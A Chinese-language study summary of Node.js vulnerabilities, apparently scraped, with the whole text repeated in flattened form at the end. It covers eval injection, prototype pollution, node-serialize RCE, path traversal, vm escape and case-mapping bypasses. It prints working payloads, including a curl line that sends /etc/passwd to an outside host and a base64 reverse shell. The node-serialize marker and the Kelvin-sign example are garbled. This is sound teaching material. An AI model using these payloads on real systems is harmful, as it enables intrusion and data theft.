Node.js 常见漏洞学习与总结
字数 1646 2025-08-25 22:59:03

Node.js 常见漏洞学习与总结

1. 危险函数导致的命令执行

1.1 eval() 函数漏洞

eval() 函数可计算字符串并执行其中的 JavaScript 代码,如果参数可控且未经过严格过滤,会导致命令执行漏洞。

漏洞示例代码

var express = require("express");
var app = express();
app.get('/eval', function(req, res){
    res.send(eval(req.query.q));
    console.log(req.query.q);
})
var server = app.listen(8888, function() {
    console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})

利用方式

  • 弹计算器(Windows): /eval?q=require('child_process').exec('calc');
  • 读取文件(Linux): /eval?q=require('child_process').exec('curl -F "x=cat /etc/passwd" http://vps');
  • 反弹Shell(Linux): /eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');

注意事项

  • BASE64加密后的字符中"+"号需要URL编码为"%2B"
  • 如果上下文中没有require,可以使用:global.process.mainModule.constructor._load('child_process').exec('calc')

1.2 其他危险函数

  • setInterval(some_function, 2000) - 间隔执行函数
  • setTimeout(some_function, 2000) - 延迟执行函数
  • Function("console.log('HelloWorld')")() - 类似于PHP的create_function

2. 原型链污染漏洞

2.1 原型链基础

  • 每个实例对象都有prototype属性,可以向对象添加属性和方法
  • 每个实例对象都有__proto__属性,指向对象的原型对象
  • 访问原型对象的方式:
    objectname["__proto__"]
    objectname.__proto__
    objectname.constructor.prototype
    

2.2 原型链污染原理

对于语句:object[a][b] = value,如果控制a为__proto__,就可以给object对象的原型设置属性b=value,影响所有继承该原型的对象。

示例

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); // Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); // Hello World

2.3 merge操作导致的原型链污染

漏洞示例

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b) // 1 2
object3 = {}
console.log(object3.b) // 2

2.4 实际案例:Code-Breaking 2018 Thejs

利用lodash.merge函数进行原型链污染,控制lodash.template的sourceURL属性实现RCE。

Payload

{
    "__proto__": {
        "sourceURL": "\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"
    }
}

3. node-serialize反序列化RCE漏洞(CVE-2017-5941)

3.1 漏洞原理

node-serialize@0.0.4在反序列化时会使用eval执行函数,通过构造IIFE(立即调用函数表达式)实现代码执行。

漏洞代码

obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length))

3.2 利用方式

生成Payload

serialize = require('node-serialize');
var test = {
    rce: function(){
        require('child_process').exec('ls /', function(error, stdout, stderr){
            console.log(stdout)
        });
    },
}
console.log("序列化生成的Payload:\n" + serialize.serialize(test));

构造IIFE
在生成的序列化字符串的函数后面添加()使其立即执行:

{"rce":"_
$$
ND_FUNC
$$
_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}

4. 目录穿越漏洞(CVE-2017-14849)

4.1 影响版本

  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5

4.2 利用方式

访问/static/a/etc/passwd即可下载/etc/passwd文件

5. vm沙箱逃逸

5.1 逃逸原理

通过this.constructor.constructor获取Function构造函数,在主程序上下文中执行代码。

示例

const vm = require("vm");
const env = vm.runInNewContext(
    `this.constructor.constructor('return this.process.env')()`
);
console.log(env);

5.2 命令执行

const vm = require("vm");
const env = vm.runInNewContext(
    `const process = this.constructor.constructor('return this.process')();
    process.mainModule.require('child_process').execSync('whoami').toString()`
);
console.log(env);

6. JavaScript大小写特性

6.1 特殊字符

  • toUpperCase():
    • "ı" → "I"
    • "ſ" → "S"
  • toLowerCase():
    • "KK" → "k" (不是字母K)

6.2 实际应用

可用于绕过用户名检查等场景,如:

function isValidUser(u) {
    return (u.username.length >= 3 && 
           u.username.toUpperCase() !== config.adminUsername.toUpperCase());
}

function isAdmin(u) {
    return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

使用"hacKKtm"可绕过对"hacktm"的检查。

Node.js 常见漏洞学习与总结 1. 危险函数导致的命令执行 1.1 eval() 函数漏洞 eval() 函数可计算字符串并执行其中的 JavaScript 代码,如果参数可控且未经过严格过滤,会导致命令执行漏洞。 漏洞示例代码 : 利用方式 : 弹计算器(Windows): /eval?q=require('child_process').exec('calc'); 读取文件(Linux): /eval?q=require('child_process').exec('curl -F "x= cat /etc/passwd " http://vps'); 反弹Shell(Linux): /eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash'); 注意事项 : BASE64加密后的字符中"+"号需要URL编码为"%2B" 如果上下文中没有require,可以使用: global.process.mainModule.constructor._load('child_process').exec('calc') 1.2 其他危险函数 setInterval(some_function, 2000) - 间隔执行函数 setTimeout(some_function, 2000) - 延迟执行函数 Function("console.log('HelloWorld')")() - 类似于PHP的create_ function 2. 原型链污染漏洞 2.1 原型链基础 每个实例对象都有 prototype 属性,可以向对象添加属性和方法 每个实例对象都有 __proto__ 属性,指向对象的原型对象 访问原型对象的方式: 2.2 原型链污染原理 对于语句: object[a][b] = value ,如果控制a为 __proto__ ,就可以给object对象的原型设置属性b=value,影响所有继承该原型的对象。 示例 : 2.3 merge操作导致的原型链污染 漏洞示例 : 2.4 实际案例:Code-Breaking 2018 Thejs 利用lodash.merge函数进行原型链污染,控制lodash.template的sourceURL属性实现RCE。 Payload : 3. node-serialize反序列化RCE漏洞(CVE-2017-5941) 3.1 漏洞原理 node-serialize@0.0.4在反序列化时会使用eval执行函数,通过构造IIFE(立即调用函数表达式)实现代码执行。 漏洞代码 : 3.2 利用方式 生成Payload : 构造IIFE : 在生成的序列化字符串的函数后面添加 () 使其立即执行: 4. 目录穿越漏洞(CVE-2017-14849) 4.1 影响版本 Node.js 8.5.0 + Express 3.19.0-3.21.2 Node.js 8.5.0 + Express 4.11.0-4.15.5 4.2 利用方式 访问 /static/a/etc/passwd 即可下载 /etc/passwd 文件 5. vm沙箱逃逸 5.1 逃逸原理 通过 this.constructor.constructor 获取Function构造函数,在主程序上下文中执行代码。 示例 : 5.2 命令执行 6. JavaScript大小写特性 6.1 特殊字符 toUpperCase() : "ı" → "I" "ſ" → "S" toLowerCase() : "KK" → "k" (不是字母K) 6.2 实际应用 可用于绕过用户名检查等场景,如: 使用"hacKKtm"可绕过对"hacktm"的检查。